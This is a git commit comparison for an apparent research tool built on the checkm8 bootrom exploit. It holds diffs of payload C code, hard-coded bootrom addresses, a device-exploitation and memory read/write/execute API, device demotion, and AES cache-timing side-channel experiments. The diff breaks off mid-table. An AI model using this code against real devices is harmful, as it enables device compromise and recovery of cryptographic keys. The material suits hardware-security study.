Compare commits

...

45 Commits

Author SHA1 Message Date
0320e5cea7 fix key 2020-02-27 18:42:26 -05:00
938cbe044b fix 2gb file limit 2020-02-27 18:34:27 -05:00
a9550de75a Cleaned up headers 2020-02-27 16:17:11 -05:00
aff4be3a65 Make crypto lib naming more consistent 2020-02-27 16:17:11 -05:00
8cca9a2930 Correctly link shared crypto_dev library 2020-02-27 16:17:11 -05:00
a5d1121675 lots of changes, some project restructuring and a new experiment 2020-02-27 16:17:11 -05:00
1bd577596b Greatly improve experiments 2020-02-27 10:23:21 -05:00
bf6153062d change key for a new round of experiments 2020-02-25 20:18:09 -05:00
d0af1d9819 fix spacing 2020-02-25 09:40:14 -05:00
6462401fee wait for longer between queries 2020-02-25 09:13:58 -05:00
3334ccd17e more readable like this 2020-02-24 16:47:08 -05:00
3adc4c2e72 report actual count 2020-02-24 16:18:10 -05:00
df40cc6970 some bugfixes and changes for a longer term experiment 2020-02-24 16:17:01 -05:00
6ec02145b3 implemented bernstein-based aes timing experiment 2020-02-24 15:03:02 -05:00
14ffb6b7c3 updated payloads to use new bootrom types 2020-02-24 15:02:41 -05:00
a66ff906bd added to the bootrom libraries 2020-02-24 15:02:05 -05:00
db97653fc2 modify AES experiment to replicate bernstein 2020-02-23 20:25:51 -05:00
94fe326afb add function to get ticks instead of time 2020-02-23 20:25:20 -05:00
a5995cd4aa add some experiments with the cache 2020-02-23 20:24:51 -05:00
eb225122e5 explicitly check if these files open 2020-02-19 17:14:01 -05:00
29b4c63ffd fixed some unknown values which are actually known 2020-02-19 16:48:01 -05:00
d8a22d5e34 updates for testing 2020-02-19 14:29:45 -05:00
ghaas
60dd861370 Merge pull request #1 from ghaas/ardflag
Ardflag
2020-02-17 15:48:34 -05:00
d04b884487 Copy over some adjustments from other branch ... overwrite 2020-02-17 15:37:57 -05:00
34703b958e Undo arduino incorporation (dumb) 2020-02-12 14:40:36 -05:00
ab93d72633 Finally incorporated arduino code into main program (somewhat) 2020-02-11 21:27:14 -05:00
059461ccbd fixed an async payload bug and implemented an async floppysleep (works!) 2020-02-11 20:52:23 -05:00
3e64bd8bab added a function to fix the heap 2020-02-11 20:51:50 -05:00
a6ddec511a improved generic payload entry point 2020-02-11 20:51:04 -05:00
33f3ab9a0d fix segfault 2020-02-11 15:41:31 -05:00
823c914e84 better data housekeeping since we're using the on-device heap now... don't want to leave a mess 2020-02-11 15:34:47 -05:00
8b25a00bd4 synchronous payloads seem to work well 2020-02-11 15:10:35 -05:00
d407c17c0f implement basics of async execution (still need to test) 2020-02-11 14:38:53 -05:00
637fd548f5 Added a generic payload entry point to support async execution 2020-02-11 14:38:21 -05:00
80fd4f6b4c Some restructuring for libbootrom 2020-02-11 14:37:32 -05:00
bd4c9b8196 heavily restructured libpayload, more integrated with c8_remote now 2020-02-11 09:56:37 -05:00
983ad0ad29 more device pointers 2020-02-10 19:42:25 -05:00
5143528433 add explicit type for device pointers 2020-02-10 19:39:35 -05:00
0e094be537 some changes, preparing for async 2020-02-10 19:02:30 -05:00
Gregor Haas
200865c8a6 Added demotion module 2020-02-10 14:07:53 -05:00
Gregor Haas
1423f51aef Added test pongo module 2020-02-10 13:55:42 -05:00
5c8579c913 some fixes 2020-02-09 12:53:25 -05:00
cd3eb5edf0 Add dynamic allocation 2020-02-09 12:29:55 -05:00
79d3b72d15 Added demotion capability 2020-02-09 11:12:04 -05:00
e341d51bf9 payload changes 2020-02-09 11:11:42 -05:00
55 changed files with 2210 additions and 568 deletions

2
.gitignore vendored
View File

@@ -6,4 +6,4 @@ cmake-build-debug/
/c8_arduino/cmake-build-debug/
# generated files
/c8_remote/include/libpayload.h
/c8_remote/include/tool/libpayload.h

View File

@@ -1,9 +1,11 @@
cmake_minimum_required(VERSION 3.10)
project(checkm8_tool)
enable_language(C)
enable_language(C ASM)
include(${CMAKE_ROOT}/Modules/ExternalProject.cmake)
include_directories(c8_remote/include)
include_directories(include)
#add_subdirectory(c8_arduino)
add_subdirectory(c8_remote/lib)
add_subdirectory(c8_remote)
add_subdirectory(c8_libpayload)

View File

@@ -1,24 +0,0 @@
#ifndef CHECKM8_TOOL_BRFUNC_AES_H
#define CHECKM8_TOOL_BRFUNC_AES_H
#include "brfunc_common.h"
int aes_hw_crypto_cmd(unsigned long long cmd,
unsigned char *src, unsigned char *dst,
int len, unsigned long long opts,
unsigned char *key, unsigned char *iv)
{
return ((BOOTROM_FUNC) ADDR_AES_HW_CRYPTO_CMD)(cmd, src, dst, len, opts, key, iv);
}
#define CREATE_KEY_COMMAND ((BOOTROM_FUNC) ADDR_CREATE_KEY_COMMAND)
#define PUSH_COMMAND_KEY ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_KEY)
#define PUSH_COMMAND_IV ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_IV)
#define PUSH_COMMAND_DATA ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_DATA)
#define PUSH_COMMAND_FLAG ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_FLAG)
#define WAIT_FOR_COMMAND_FLAG ((BOOTROM_FUNC) ADDR_WAIT_FOR_COMMAND)
#define rAES_INT_STATUS (long *) ADDR_AES_CONTROL
#define rAES_CONTROL (long *) ADDR_AES_STATUS
#endif //CHECKM8_TOOL_BRFUNC_AES_H

View File

@@ -1,40 +0,0 @@
#ifndef CHECKM8_TOOL_BRFUNC_COMMON_H
#define CHECKM8_TOOL_BRFUNC_COMMON_H
#include "checkm8_config.h"
typedef int (*BOOTROM_FUNC)();
typedef unsigned char (*(*BOOTROM_FUNC_PTR)());
#if CHECKM8_PLATFORM == 8010
/* AES */
#define ADDR_AES_HW_CRYPTO_CMD 0x100000f0c
#define ADDR_CREATE_KEY_COMMAND 0x100000e90
#define ADDR_PUSH_COMMAND_KEY 0x100000c64
#define ADDR_PUSH_COMMAND_IV 0x100000d18
#define ADDR_PUSH_COMMAND_DATA 0x100000d98
#define ADDR_PUSH_COMMAND_FLAG 0x100000e20
#define ADDR_WAIT_FOR_COMMAND 0x100000ec4
#define ADDR_AES_CONTROL 0x20A108008
#define ADDR_AES_STATUS 0x20A108018
/* SEP */
#define ADDR_DPA_SEEDED 0x100001140
#define ADDR_SEND_DPA_MESSAGE 0x100002338
/* Timing */
#define ADDR_CLOCK_GATE 0x100009d4c
#define ADDR_SYSTEM_TIME 0x10000B0E0
#define ADDR_TIME_HAS_ELAPSED 0x10000B04F
#define ADDR_TASK_SLEEP 0x10000ADF0
/* Boot */
#define ADDR_NVME_INIT 0x1000080B4
#else
#error "Unsupported checkm8 platform"
#endif
#endif //CHECKM8_TOOL_BRFUNC_COMMON_H

View File

@@ -1,9 +0,0 @@
#ifndef CHECKM8_TOOL_BRFUNC_SEP_H
#define CHECKM8_TOOL_BRFUNC_SEP_H
#include "brfunc_common.h"
#define DPA_SEEDED ((BOOTROM_FUNC) ADDR_DPA_SEEDED)
#define SEP_CREATE_SEND_DPA_MESSAGE ((BOOTROM_FUNC) ADDR_SEND_DPA_MESSAGE)
#endif //CHECKM8_TOOL_BRFUNC_SEP_H

View File

@@ -1,10 +0,0 @@
#ifndef CHECKM8_TOOL_BRFUNC_TIMING_H
#define CHECKM8_TOOL_BRFUNC_TIMING_H
#include "brfunc_common.h"
#define CLOCK_GATE ((BOOTROM_FUNC) ADDR_CLOCK_GATE)
#define SYSTEM_TIME ((BOOTROM_FUNC) ADDR_SYSTEM_TIME)
#define TIME_HAS_ELAPSED ((BOOTROM_FUNC) ADDR_TIME_HAS_ELAPSED)
#endif //CHECKM8_TOOL_BRFUNC_TIMING_H

View File

@@ -1,7 +0,0 @@
#ifndef CHECKM8_TOOL_UTIL_H
#define CHECKM8_TOOL_UTIL_H
#define PAYLOAD_SECTION __attribute__ ((section (".payload_text")))
#define TEXT_SECTION __attribute__((section (".text")))
#endif //CHECKM8_TOOL_UTIL_H

View File

@@ -1,59 +0,0 @@
#include "brfunc_aes.h"
#include "brfunc_timing.h"
#include "brfunc_sep.h"
#include "util.h"
PAYLOAD_SECTION
int aes_hw_crypto_command(unsigned int cmd,
void *src,
void *dst,
int len,
unsigned int opts,
void *key,
void *iv)
{
int seeded;
long cgvar;
long start = 0, timeout = 0;
__asm__("orr %0, xzr, #0x3c" : "=r" (cgvar));
CLOCK_GATE(cgvar, 0);
// seeded = DPA_SEEDED();
// if(!(seeded & 1))
// {
// SEP_CREATE_SEND_DPA_MESSAGE();
// start = SYSTEM_TIME();
//
// while(!(seeded & 1) && !(timeout & 1))
// {
// seeded = DPA_SEEDED();
// timeout = TIME_HAS_ELAPSED(start, 1000);
// }
// }
//
// if(timeout) return -1;
unsigned int key_command = CREATE_KEY_COMMAND(0, 0, 0, 0, 1, 0, 0, 0);
*rAES_INT_STATUS = 0x20;
*rAES_CONTROL = 1;
PUSH_COMMAND_KEY(key_command, key);
PUSH_COMMAND_IV(0, 0, 0, iv);
PUSH_COMMAND_DATA(0, 0, src, dst, len);
PUSH_COMMAND_FLAG(0, 1, 1);
WAIT_FOR_COMMAND_FLAG();
*rAES_CONTROL = 2;
CLOCK_GATE(cgvar, 0);
return 0;
}
TEXT_SECTION
int _start(void *src,
void *dst,
void *key)
{
return aes_hw_crypto_command(0, src, dst, 128, 0, key, 0);
}

View File

@@ -1,25 +0,0 @@
#include "util.h"
#include "brfunc_aes.h"
#include "brfunc_timing.h"
TEXT_SECTION
int _start(void *src, void *dst, void *key, int rep)
{
int i, j;
unsigned char src_data[16];
for(j = 0; j < 16; j++)
{
src_data[j] = ((unsigned char *) src)[j];
}
// task_sleep(100);
for(i = 0; i < rep; i++)
{
if(i % 2 == 0) aes_hw_crypto_cmd(16, src_data, dst, 16, 0, key, 0);
else aes_hw_crypto_cmd(16, dst, src_data, 16, 0, key, 0);
// task_sleep(15);
}
return 0;
}

View File

@@ -1,26 +0,0 @@
#include "util.h"
TEXT_SECTION
unsigned long long _start()
{
// unsigned long long platform_quiesce_hardware = 0x100007dd0;
// unsigned long long enter_critical_section = 0x10000a4b8;
// unsigned long long halt = 0x1000004fc;
// unsigned long long timer_deadline_enter = 0x10000b874;
// unsigned long long now, later;
//
// ((BOOTROM_FUNC) platform_quiesce_hardware)();
// //((BOOTROM_FUNC) enter_critical_section)();
//
// __asm__ volatile ("mrs %0, cntpct_el0" : "=r" (now));
// ((BOOTROM_FUNC) timer_deadline_enter)(now + (24000000) - 64, ((BOOTROM_FUNC) 0x10000b924));
// ((BOOTROM_FUNC) halt)();
// __asm__ volatile ("mrs %0, cntpct_el0" : "=r" (later));
volatile unsigned long long regval = 0xffff;
__asm__ volatile ("mrs %0, fpcr" : "=r" (regval));
regval = (1u << 24u);
__asm__ volatile ("msr fpcr, %0" : "=r" (regval));
return regval;
}

View File

@@ -1,47 +0,0 @@
#include "brfunc_common.h"
#include "util.h"
extern unsigned long long fs_routine(void);
extern unsigned long long fs_load(float *dividend, int divisor_base);
// extern unsigned long long check_subnormal();
PAYLOAD_SECTION
unsigned int is_subnormal(float val)
{
unsigned int bytes = *((unsigned int *) &val);
bytes = bytes >> 23u;
if(bytes & 0x7u)
{
return 0;
}
else return 1;
}
TEXT_SECTION
unsigned long long _start(float *init_a)
{
int i;
unsigned long long start, end, report;
unsigned long long timer_deadline_enter = 0x10000b874;
unsigned long long halt = 0x1000004fc;
while(1)
{
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (start));
fs_load(init_a, 1);
for(i = 0; i < 8; i++) fs_routine();
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (end));
if(2 * end - start - 64 > 0)
{
((BOOTROM_FUNC) timer_deadline_enter)(2 * end - start - 64, ((BOOTROM_FUNC) 0x10000b924));
((BOOTROM_FUNC) halt)();
}
}
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (report));
return report - end;
}

View File

@@ -1,10 +0,0 @@
#include "util.h"
TEXT_SECTION
void _start()
{
__asm__("dmb sy");
__asm__("ic iallu");
__asm__("dsb sy");
__asm__("isb");
}

View File

@@ -1,17 +0,0 @@
#include "util.h"
struct sysregs
{
long pt_base;
long evt_base;
};
TEXT_SECTION
long long _start()
{
struct sysregs res;
__asm__("mrs %0, ttbr0_el1" : "=r" (res.pt_base));
__asm__("mrs %0, vbar_el1" : "=r" (res.evt_base));
return res.pt_base;
}

View File

@@ -1,20 +0,0 @@
#include "util.h"
#include "brfunc_common.h"
PAYLOAD_SECTION
void task_sleep(unsigned int usec)
{
((BOOTROM_FUNC) ADDR_TASK_SLEEP)(usec);
}
TEXT_SECTION
unsigned long long _start(unsigned int usec)
{
unsigned long long start, end;
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start));
task_sleep(usec);
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end));
return end - start;
}

View File

@@ -7,4 +7,5 @@ set(CMAKE_C_FLAGS "-g -Wall")
include_directories(include)
add_executable(checkm8_remote main.c src/usb_helpers.c src/exploit.c src/payload.c src/command.c)
target_link_libraries(checkm8_remote usb-1.0 pthread udev payload)
target_link_libraries(checkm8_remote usb-1.0 pthread udev m)
target_link_libraries(checkm8_remote payload experiments host_crypto)

View File

@@ -19,6 +19,7 @@
#define DEV_IDVENDOR 0x05AC
#define DEV_IDPRODUCT 0x1227
#define DFU_IMAGE_BASE 0x1800B0000ull
#define DEMOTE_REG 0x2102BC000ull
#else
#error "Unspported checkm8 platform"
@@ -35,7 +36,8 @@ struct pwned_device
unsigned int idVendor;
unsigned int idProduct;
struct payload *installed;
struct payload *inst_pl;
struct data *inst_data;
#ifdef WITH_ARDUINO
int ard_fd;
@@ -44,7 +46,25 @@ struct pwned_device
#endif
};
struct dev_cmd_resp
{
int ret;
unsigned long long magic;
unsigned long long retval;
unsigned char *data;
int len;
};
struct pwned_device *exploit_device();
void free_device(struct pwned_device *dev);
int demote_device(struct pwned_device *dev);
int fix_heap(struct pwned_device *dev);
int open_device_session(struct pwned_device *dev);
int close_device_session(struct pwned_device *dev);
int is_device_session_open(struct pwned_device *dev);
void free_dev_cmd_resp(struct dev_cmd_resp *resp);
#endif //CHECKM8_TOOL_CHECKM8_H

View File

@@ -1,26 +0,0 @@
#ifndef CHECKM8_TOOL_COMMAND_H
#define CHECKM8_TOOL_COMMAND_H
#include "checkm8.h"
#define CMD_USB_READ_LIMIT 0xFF0
struct dev_cmd_resp
{
int ret;
unsigned long long magic;
unsigned long long retval;
unsigned char *data;
int len;
};
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len);
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len);
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args);
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len);
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len);
void free_dev_cmd_resp(struct dev_cmd_resp *resp);
#endif //CHECKM8_TOOL_COMMAND_H

View File

@@ -0,0 +1,56 @@
#ifndef CHECKM8_TOOL_ADDR_H
#define CHECKM8_TOOL_ADDR_H
#include "checkm8_config.h"
#include "types.h"
#if CHECKM8_PLATFORM == 8010
/* Crypto */
#define ADDR_HARDWARE_AES 0x100000f0c
#define ADDR_GET_RANDOM 0x1000113e0
#define ADDR_GET_ENTROPY 0x1000013d4
#define ADDR_SHA1 0x10000cc90
/* Timing */
#define ADDR_CLOCK_GATE 0x100009d4c
#define ADDR_GET_TIME 0x10000b0e0
#define ADDR_GET_TICKS 0x10000041c
#define ADDR_TIMER_REGISTER_INT 0x10000b874
#define ADDR_WFI 0x1000004fc
/* Tasking */
#define ADDR_TASK_NEW 0x10000a9ac
#define ADDR_TASK_RUN 0x10000ac18
#define ADDR_TASK_PAUSE 0x10000adf0
#define ADDR_TASK_RESCHED 0x10000aaa8
#define ADDR_TASK_FREE 0x10000aa20
#define ADDR_EVENT_NEW 0x10000aed4
#define ADDR_EVENT_NOTIFY 0x10000aee8
#define ADDR_EVENT_WAIT 0x10000af3c
#define ADDR_EVENT_TRY 0x10000af7c
/* Heap */
#define ADDR_CALC_CHKSUM 0x10000ee20
#define ADDR_CHECK_BLOCK_CKSUM 0x10000f138
#define ADDR_CHECK_ALL_CHKSUMS 0x10000f8b4
#define ADDR_DEV_MALLOC 0x10000efe0
#define ADDR_DEV_MEMALIGN 0x10000f380
#define ADDR_DEV_FREE 0x10000f1b0
/* Misc */
#define ADDR_RANDOM_RET 0x10000b924
#define ADDR_SYNC_ENTRY 0x1800afc84
#define ADDR_DFU_RETVAL (int *) 0x180088ac8
#define ADDR_DFU_STATUS (unsigned char *) 0x180088ac0
#define ADDR_DFU_EVENT (struct event *) 0x180088af0
#define ADDR_USB_EVENT (struct event *) 0x1800838c8
#else
#error "Unsupported checkm8 platform"
#endif
#endif //CHECKM8_TOOL_ADDR_H

View File

@@ -0,0 +1,44 @@
#ifndef CHECKM8_TOOL_TYPES_H
#define CHECKM8_TOOL_TYPES_H
struct event
{
unsigned int dat0;
unsigned int dat1;
unsigned long long dat2;
unsigned long long dat3;
} __attribute__ ((packed));
struct aes_constants
{
unsigned char sbox[16][16];
unsigned char rc_lookup[11];
unsigned char mul2[256];
unsigned char mul3[256];
} __attribute__ ((packed));
struct bern_data
{
double t[16][256];
double tsq[16][256];
double tnum[16][256];
unsigned long long count;
double ttotal;
struct event ev_data;
struct event ev_done;
} __attribute__ ((packed));
#define N_CORR_ENTRIES 1024*256
struct corr_data
{
struct event ev_cont;
int num_cutoff;
unsigned char msg[16];
unsigned char data[N_CORR_ENTRIES];
};
#endif //CHECKM8_TOOL_TYPES_H

View File

@@ -1,32 +0,0 @@
#ifndef CHECKM8_TOOL_PAYLOAD_H
#define CHECKM8_TOOL_PAYLOAD_H
#include "checkm8.h"
typedef enum
{
PAYLOAD_AES,
PAYLOAD_AES_BUSY,
PAYLOAD_AES_SW,
PAYLOAD_BOOTSTRAP,
PAYLOAD_FLOPPYSLEEP,
PAYLOAD_SYNC,
PAYLOAD_SYSREG,
PAYLOAD_TASK_SLEEP_TEST
} PAYLOAD_T;
typedef enum
{
SRAM,
DRAM
} LOCATION_T;
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...);
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, long long addr, int len);
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, long long addr, unsigned char *data, int len);
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, long long addr, int response_len, int nargs, ...);
#endif //CHECKM8_TOOL_PAYLOAD_H

View File

@@ -0,0 +1,15 @@
#ifndef CHECKM8_TOOL_COMMAND_H
#define CHECKM8_TOOL_COMMAND_H
#include "checkm8.h"
#define CMD_USB_READ_LIMIT 0xFF0
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, unsigned long long addr, unsigned char c, int len);
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, unsigned long long dest, unsigned long long src, int len);
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args);
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, unsigned long long addr, int len);
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, unsigned long long addr, unsigned char *data, int len);
#endif //CHECKM8_TOOL_COMMAND_H

View File

@@ -0,0 +1,44 @@
#ifndef CHECKM8_TOOL_PAYLOAD_H
#define CHECKM8_TOOL_PAYLOAD_H
#include "checkm8.h"
typedef enum
{
PAYLOAD_AES_BUSY,
PAYLOAD_AES_SW_BERN,
PAYLOAD_AES_SW_CORR,
PAYLOAD_CACHELIB,
PAYLOAD_EXIT_USB_TASK,
PAYLOAD_FLOPPYSLEEP,
PAYLOAD_SYNC,
} PAYLOAD_T;
typedef enum
{
SRAM,
DRAM
} LOCATION_T;
#define DEV_PTR_NULL -1ull
typedef unsigned long long DEV_PTR_T;
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
int uninstall_all_payloads(struct pwned_device *dev);
DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p);
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...);
DEV_PTR_T setup_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...);
int run_payload_async(struct pwned_device *dev, PAYLOAD_T p);
int kill_payload_async(struct pwned_device *dev, PAYLOAD_T p, DEV_PTR_T buf_addr);
DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len);
int uninstall_data(struct pwned_device *dev, DEV_PTR_T ptr);
int uninstall_all_data(struct pwned_device *dev);
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len);
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, DEV_PTR_T addr, unsigned char *data, int len);
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, DEV_PTR_T addr, int response_len, int nargs, ...);
#endif //CHECKM8_TOOL_PAYLOAD_H

View File

@@ -15,10 +15,6 @@ struct libusb_device_bundle
};
#endif
int open_device_session(struct pwned_device *dev);
int close_device_session(struct pwned_device *dev);
int is_device_session_open(struct pwned_device *dev);
int partial_ctrl_transfer(struct pwned_device *dev,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,

View File

@@ -0,0 +1,21 @@
#ifndef CHECKM8_TOOL_EXPERIMENTS_H
#define CHECKM8_TOOL_EXPERIMENTS_H
#include "tool/payload.h"
#include "dev/types.h"
/* AES Software */
DEV_PTR_T setup_bern_exp(struct pwned_device *dev);
struct bern_data *get_bern_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf);
DEV_PTR_T setup_corr_exp(struct pwned_device *dev, unsigned char *init_key);
struct corr_data *get_corr_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf);
/* System */
void usb_task_exit(struct pwned_device *dev);
/* Power */
void floppysleep(struct pwned_device *dev);
void floppysleep_async(struct pwned_device *dev);
#endif //CHECKM8_TOOL_EXPERIMENTS_H

View File

@@ -0,0 +1,14 @@
#ifndef CHECKM8_TOOL_HOST_CRYPTO_H
#define CHECKM8_TOOL_HOST_CRYPTO_H
#include "dev/types.h"
void expand_key(unsigned char key[16], unsigned char key_sched[176],
int n, struct aes_constants *c);
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
unsigned char key_sched[176], struct aes_constants *c);
struct aes_constants *get_constants();
#endif //CHECKM8_TOOL_HOST_CRYPTO_H

View File

@@ -1,35 +1,34 @@
project(checkm8_libpayload)
set(PL_NAMES
aes
aes_busy
aes_sw
bootstrap
aes_sw_bern
aes_sw_corr
cachelib
exit_usb_task
floppysleep
sync
sysreg
task_sleep_test)
)
foreach(NAME ${PL_NAMES})
list(APPEND PL_TARGETS "payload_${NAME}")
list(APPEND PL_SRC_BIN "${CMAKE_CURRENT_LIST_DIR}/pl/src/${NAME}.c")
list(APPEND PL_SRC_BIN "${CMAKE_CURRENT_LIST_DIR}/payload/src/${NAME}.c")
endforeach(NAME)
foreach(TARGET ${PL_TARGETS})
list(APPEND PL_SRC_LIB "${CMAKE_CURRENT_BINARY_DIR}/lib/${TARGET}.c")
list(APPEND PL_BIN "${CMAKE_CURRENT_BINARY_DIR}/pl/bin/${TARGET}.bin")
list(APPEND PL_SRC_LIB "${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles/${TARGET}.c")
list(APPEND PL_BIN "${CMAKE_CURRENT_BINARY_DIR}/payload/bin/${TARGET}.bin")
endforeach(TARGET)
add_subdirectory(pl)
set(CMAKE_C_FLAGS "-g -Wall")
add_subdirectory(${CMAKE_CURRENT_LIST_DIR}/payload)
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/lib)
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles)
add_custom_target(payload_sources
BYPRODUCTS ${PL_SRC_LIB}
DEPENDS ${PL_TARGETS}
COMMENT "Refreshing payload library"
COMMAND python3 ${CMAKE_CURRENT_LIST_DIR}/scripts/librarize.py
${CMAKE_CURRENT_BINARY_DIR}/pl/bin
${CMAKE_CURRENT_BINARY_DIR}/lib)
${CMAKE_CURRENT_BINARY_DIR}/payload/bin
${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles)
add_library(payload ${PL_SRC_LIB})
add_dependencies(payload payload_sources)
@@ -37,5 +36,10 @@ add_dependencies(payload payload_sources)
add_custom_command(TARGET payload POST_BUILD
BYPRODUCTS ${CMAKE_SOURCE_DIR}/c8_remote/include/libpayload.h
COMMAND python3 ${CMAKE_CURRENT_LIST_DIR}/scripts/headerize.py
${CMAKE_CURRENT_BINARY_DIR}/lib
${CMAKE_SOURCE_DIR}/c8_remote/include)
${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles
${CMAKE_SOURCE_DIR}/c8_remote/include/tool)
add_library(experiments experiments/aes_sw.c
experiments/system.c
experiments/power.c)
add_library(host_crypto crypto/aes_sw_impl.c crypto/aes_sw_host.c)

View File

@@ -0,0 +1,78 @@
#include <stdlib.h>
#include <string.h>
#include "dev/types.h"
static const unsigned char sbox[256] =
{
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
};
static const unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};
static const unsigned char mul2_lookup[256] =
{
0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e,
0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e,
0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e,
0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e,
0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe,
0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde,
